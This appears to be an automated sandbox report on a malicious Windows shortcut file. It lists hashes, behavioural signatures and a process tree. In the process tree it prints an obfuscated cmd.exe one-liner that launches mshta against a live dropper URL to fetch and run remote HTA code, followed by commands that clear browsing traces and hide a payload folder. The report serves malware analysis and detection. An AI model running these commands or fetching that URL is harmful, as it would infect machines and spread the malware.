Analysis
- max time kernel
21s - max time network
157s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
03/08/2026, 12:43
Static task
static1
Behavioral task
behavioral1
Sample
Contrato_Indeniza_Brasil-IY6AU1.lnk
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
Contrato_Indeniza_Brasil-IY6AU1.lnk
Resource
win11ltsc2024-20260709-en
General
- Target Contrato_Indeniza_Brasil-IY6AU1.lnk
- Size 2KB
- Sample260803-pyc4eaxhmh
- SHA256 c109f8afde4f15dab411ecc31f31e7cb9ec741420108b9c702d6d3f87098b7cc
- MD5 fac2ec15b53fa09ced9a44e62668987f
- SHA1 dec7d1ff634bd749b8cc095656217c3b113f16d3
- SHA512 75bd9c1daabe8d740ffca78bed8031c030c76282b82414ac87badbdfc94073c9b98c41a18eef6552b24d8913a4cd088860e55434bed9bc313fb0fc564413dd17
- TLSH T10641314029ED06D8F2BF9E76DDFE67504C7BB8925DA5C14C0851820E1422F01EE77B27
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
-
hta
-
hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
Signatures
- Badlisted process makes network request 7 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 6 3948 mshta.exe 8 3948 mshta.exe 10 3948 mshta.exe 14 3948 mshta.exe 18 3948 mshta.exe 20 3948 mshta.exe 21 3948 mshta.exe - Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation mshta.exe Key value queried \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation cmd.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 3 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2804 cmd.exe 4816 cmd.exe 1268 cmd.exe - System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 1268 cmd.exe 4880 PING.EXE -
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch rundll32.exe Key created \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch rundll32.exe Key created \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch rundll32.exe - Modifies registry class 28 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Extensible Cache rundll32.exe Set value (int) \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheLimit = "51200" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings\MuiCache rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:" rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings\MuiCache rundll32.exe Key created \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings\MuiCache rundll32.exe Key created \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings\MuiCache rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings rundll32.exe Key created \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content rundll32.exe Set value (int) \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheVersion = "1" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies rundll32.exe Set value (int) \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheVersion = "1" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" rundll32.exe Set value (int) \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheLimit = "1" rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:" rundll32.exe Set value (int) \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheVersion = "1" rundll32.exe Set value (int) \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheLimit = "1" rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:" rundll32.exe - Runs ping.exe 1 TTPs 1 IoCs
pid Process 4880 PING.EXE - Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 20 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) - Suspicious use of FindShellTrayWindow 7 IoCs
pid Process 3332 rundll32.exe 1716 rundll32.exe 3112 rundll32.exe 1640 rundll32.exe 3948 mshta.exe 3948 mshta.exe 2800 rundll32.exe - Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 2804 wrote to memory of 4816 2804 cmd.exe 86 PID 4816 wrote to memory of 3948 4816 cmd.exe 87 PID 3948 wrote to memory of 1716 3948 mshta.exe 89 PID 3948 wrote to memory of 3332 3948 mshta.exe 90 PID 3948 wrote to memory of 3112 3948 mshta.exe 91 PID 3112 wrote to memory of 2068 3112 rundll32.exe 92 PID 3332 wrote to memory of 2828 3332 rundll32.exe 93 PID 1716 wrote to memory of 3080 1716 rundll32.exe 94 PID 3948 wrote to memory of 1640 3948 mshta.exe 101 PID 3948 wrote to memory of 4068 3948 mshta.exe 102 PID 1640 wrote to memory of 1116 1640 rundll32.exe 104 PID 3948 wrote to memory of 2800 3948 mshta.exe 105 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
- Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 4068 attrib.exe
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-IY6AU1.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2804 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /d /V:on /c "set eTmq=netwabvmhpnet&&set XOv=cacheqnwuslcxgdsmcache&&set WB=jkbmr&&set TTH=dshtl&&set HY=jg2az&&set pHeij=cfgpvoddjgkuqctrmlnqfhdccfg&&set VguT=cachexwnbzcache&&set lC=cacheevcwhyfsxmiucache&&set NZ=olduysjsxqvczcemhlzwmdamold&&set VU=bakbfpytbfvfobak&&set VPDJ=7stric&&set Pe=vzware&&set EAh=ext2&&set lpz=tmpskaflssttmp&&set BFSbz=https:/@/ag@l@obac@on@v@i@[email protected]@/h/e@st@agi@[email protected]?r@=2@71@E62FD40@93@CD@4D@6D&&start /b !WB:~3,1!!TTH:~1,3!!HY:~3,1! !BFSbz:@=!"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4816 -
C:\Windows\System32\mshta.exemshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D3⤵
- Badlisted process makes network request
- Checks computer location settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3948 -
C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 84⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1716 -
C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:00000000000000005⤵
- Modifies registry class
PID:3080
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C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 84⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3332 -
C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:00000000000000005⤵
- Modifies registry class
PID:2828
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C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 84⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3112 -
C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:00000000000000005⤵
- Modifies registry class
PID:2068
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C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 84⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1640 -
C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:00000000000000005⤵
- Modifies registry class
PID:1116
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C:\Windows\System32\attrib.exe"C:\Windows\System32\attrib.exe" +h +s "C:\tsgfzoop\"4⤵
- Views/modifies file attributes
PID:4068
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C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 84⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
PID:2800 -
C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:00000000000000005⤵PID:1820
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c ping -n 300 -w 1000 127.0.0.1 >nul4⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Internet Connection Discovery
PID:1268 -
C:\Windows\System32\PING.EXEping -n 300 -w 1000 127.0.0.15⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:4880
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\tsgfzoop\a2.zip
- Size 1.3MB
- SHA256 9fc930c5850638ef1fc9bd952d675d224cdc1e7b7860203c3da02955bc0c5b15
- MD5 d75689b2fd376fd6e1090e1d721b92db
- SHA1 812c63d3417252576cc2ba147e6b5e042c07220a
- SHA512 c76edfa1ea429f5efe24536d5b1af8e3a76fe76b68fa1691d6bf43682c8daee7e1246890764d9706ecd62716937566234697c1ddfa26737e2d64ba10521c590d
- SSDEEP 24576:vAuYNwua6NduNqjRt1pSdu4E0mcKptG6lgVT0kQkmSp9QpDH1tMlyal:vAuSw7Ku4xpSd7m7BlgVQmvQJH1t8
- TLSH T1E0553355B7EDDF14E07D52A1C9C14ED42EE304ADBFE8CC081AC84788D5D236DA948EBA
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\tsgfzoop\a3.zip
- Size 2KB
- SHA256 6e9a23709ecc1419254a0f13015cf79c7e235fed0e9073a4333e9c27ff548570
- MD5 c033efae92eb3082621c960f55340575
- SHA1 0b755780e9fb10ded42eaddcb18d3c1b64c29b03
- SHA512 4aa271dc3ca3bd5678bcd74e9bd9197a8f394cfe5e7aa13b68f897e727c4baee2eb1a2ec5f65aa58b40d40229bf3d9e02cb2ffeeb249d649aba52d87ff3101e0
- TLSH T15B413CE98DACBDA0D68E79749A24547055372EC459C062B80EBEFC441130298CB2E42C
- MD5 SHA1 SHA512 TLSH